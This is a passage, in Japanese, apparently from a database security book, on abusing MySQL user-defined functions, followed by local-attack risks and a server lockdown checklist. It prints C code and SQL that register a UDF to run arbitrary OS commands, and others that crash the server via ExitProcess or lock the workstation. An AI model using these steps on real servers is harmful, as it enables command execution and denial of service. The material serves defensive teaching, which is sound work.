typedef struct st_udf_args
{
 unsigned int arg_count;               /* 引数の数*/
 enum Item_result *arg_type;          /* item_results へのポインタ*/
 char **args;                                 /* 引数へのポインタ*/
 unsigned long *lengths;          /* 文字列引数の長さ*/
 char *maybe_null;                /* すべての引数 maybe_null に対して 1 を設定*/
} UDF_ARGS;

typedef struct st_udf_init
{
 char maybe_null;            /* 関数が NULL を返せる場合は 1*/
 unsigned int decimals;      /* 実数関数の場合*/
 unsigned long max_length;  /* 文字列関数の場合*/
 char      *ptr;    /* 関数データに使用するポインタ*/
 char const_item;   /* 結果が引数に依存しない場合は 0*/
} UDF_INIT;

int do_system( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
        if( args->arg_count != 1 )
                return 0;

        system( args->args[0] );

        return 0;
}
```

関数は、以下のようにして MySQL に追加できる。

```
mysql> create function do_system returns integer soname 'so_system.so';
```

```
Query OK, 0 rows affected (0.00 sec)
```

これで“mysql.func”テーブルは以下のようになる（手動で UPDATE することもできる）。

```
mysql> select * from mysql.func;
+-----------+-----+--------------+----------+
| name      | ret | dl           | type     |
+-----------+-----+--------------+----------+
| do_system |   2 | so_system.so | function |
+-----------+-----+--------------+----------+
1 row in set (0.00 sec)
```

そして、関数は以下のように呼び出せる。

```
mysql> select do_system('ls > /tmp/test.txt');
+---------------------------------+
| do_system('ls > /tmp/test.txt') |
+---------------------------------+
|            -4665733612002344960 |
+---------------------------------+
1 row in set (0.02 sec)
```

ファイルパーミションにより、攻撃者がターゲットシステム上に自分のライブラリを作成できない場合でも、既存の関数を利用して危害を加えることはできる。攻撃者にとって困難なことは、ほとんどの関数のパラメータリストが、MySQL の UDF プロトタイプに一致しそうにないことである。

```
int xxx( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
```

もっとも、リソースが豊富な攻撃者なら、既存のシステムライブラリで、MySQL から渡されるパラメータの解釈になんらかの制御可能な欠陥があったことのあるものを呼び出すことで、なんとか任意のコードを実行することは可能ではある。

しかし、既存のシステムライブラリ内の関数を使って「不正」を行うことは、それでも可能である。たとえば、Windows の ExitProcess の、MySQL UDF としての呼び出しがそれである。これを使えば、呼び出したユーザーが“Shutdown_priv”を持っていなくても MySQL は即座に終了する。

```
mysql> create function ExitProcess returns integer soname 'kernel32';
Query OK, 0 rows affected (0.17 sec)

mysql> select exitprocess();
ERROR 2013: Lost connection to MySQL server during query
```

現在ログインしているユーザーのワークステーションをロックさせることもできる（Ctrl-Alt-Del を押して“コンピュータのロック”を選んだのと同じ）。

```
mysql> create function LockWorkStation returns integer soname 'user32';
Query OK, 0 rows affected (0.00 sec)

mysql> select LockWorkStation();
```

(これで、ワークステーションはロックする)。

ここまで述べたことをまとめると、MySQL の UDF の仕組みはきわめて柔軟性が高く、開発者にとって有用な機能であり、したがって、攻撃者にとっても同様に有用な機能である。MySQL の(特に MySQL データベースと mysql.func テーブルの)権限、ファイルのパーミションを慎重にロックダウンし、"SELECT ... INTO OUTFILE"の仕様を制限することが、この種の攻撃に対する最良ですぐに実行できる防御策である。

ローカル攻撃

MySQL サーバーがマルチユーザーのマシン上で動作している場合、ローカル攻撃からセキュリティを保護するのはじつに難しい。まず、パーミションや一時ファイルの脆弱性に関する歴史的な問題が多数ある。そして、MySQL バイナリとデータディレクトリのセキュリティ保護の難しさがある。MySQL がテーブルデータの格納に使用するファイルを読み出すことはじつに容易で、これはすぐに"root"アカウントのパスワードハッシュが知られてしまい、サーバーベースの情報漏洩につながりうる。

最良の方法は、MySQL が必ず専用の別のユーザーアカウントで動作するようにすることであり、他のアカウントが MySQL データ、設定ファイルまたはバイナリファイルに絶対にアクセスできないようにすることである。

MySQL のその他の気がかりな機能

WinMySQLAdmin は、最初の起動時に MySQL 用の「デフォルトの」ユーザーアカウントを作成し、平文のユーザー名とパスワードを平文ファイルで%SYSTEMROOT%¥my.ini に設置する。

MyPHP は、引数を PHP コードとして解釈して実行する UDF(前述)である。つまり、"PHP"関数を実行できるユーザー(すべてのユーザーを意味すると言ってもよいだろう)ならだれでも、MySQL サーバー上で任意のコードを実行できる。これはとても強力な機能には違いないが、かなり注意深く扱う必要がある。

MyLUA は同様な仕組みで拡張性を提供するが、それはつまり危険だということだ。

MySQL ロックダウンチェックリスト

以下の一覧は、MySQL サーバーのセキュリティを強化する際に行うべき項目のクイックリファレンスである。以下のサイトからも、すばらしいリストが入手できる。

http://www.securityfocus.com/infocus/1726
http://www.securityfocus.com/infocus/1667
http://www.kitebird.com/articles/ins-sec.html

- 以下のサイトの MySQL セキュリティガイドラインを読む。
  http://dev.mysql.com/doc/mysql/en/Security.html
- MySQL サーバーに IPTables（Linux）または IPSec フィルタの規則（Windows）を設定する。
- 頻繁に http://www.mysql.com/products/mysql/ にアクセスし、更新情報をチェックする。
- root ではない MySQL ユーザーをすべて削除する
- MySQL の“root”ユーザーを、別のわかりにくい名前に変更する。
- Web アプリケーションごと、または場合によっては Web アプリケーション内の「ロール」ごとに、MySQL ユーザーを作成する。たとえば、テーブルを更新する MySQL ユーザーと、テーブルから“SELECT”する時に使用する権限の低いユーザーを分ける。
- MySQL ユーザーを、パスワードだけでなく IP アドレスで制限するようにする。詳細は、MySQL マニュアルの「4.7. MySQL アクセス権限システム」を参照のこと。
- 権限の低い“mysql”アカウントを使って MySQL デーモンを実行する。プラットフォームによってはこれがデフォルトだが、そうでないものもある。たとえば、Windows ではローカルの“system”アカウントで MySQL が実行される。
- “--chroot”オプションをつけて mysqld を実行する。MySQL ユーザーは必ず、限られたディレクトリ以外にはアクセスできないようにする。特に、MySQL ユーザーは OS の設定ファイルからの読み出しを禁止しておくべきである。場合によっては、MySQL ユーザーが MySQL の設定ファイルを変更できないようにしたいと考えるかもしれない。
- アカウントに、まったく必要のない権限（特に、“File_priv”と“Grant_priv”）は与えない。MySQL 内部からファイルシステムとやり取りしなければならない場合は、アプリケーションがそのために使用する MySQL アカウントを別に作成することを検討する。
- my.cnf ファイルに“set-variable=local-infile=0”を追加して、LOAD DATA LOCAL INFILE コマンドを無効にする。
- バグを把握しておく！ つねに、SecurityFocus や ICAT などの脆弱性データベースで MySQL のバグをチェックする。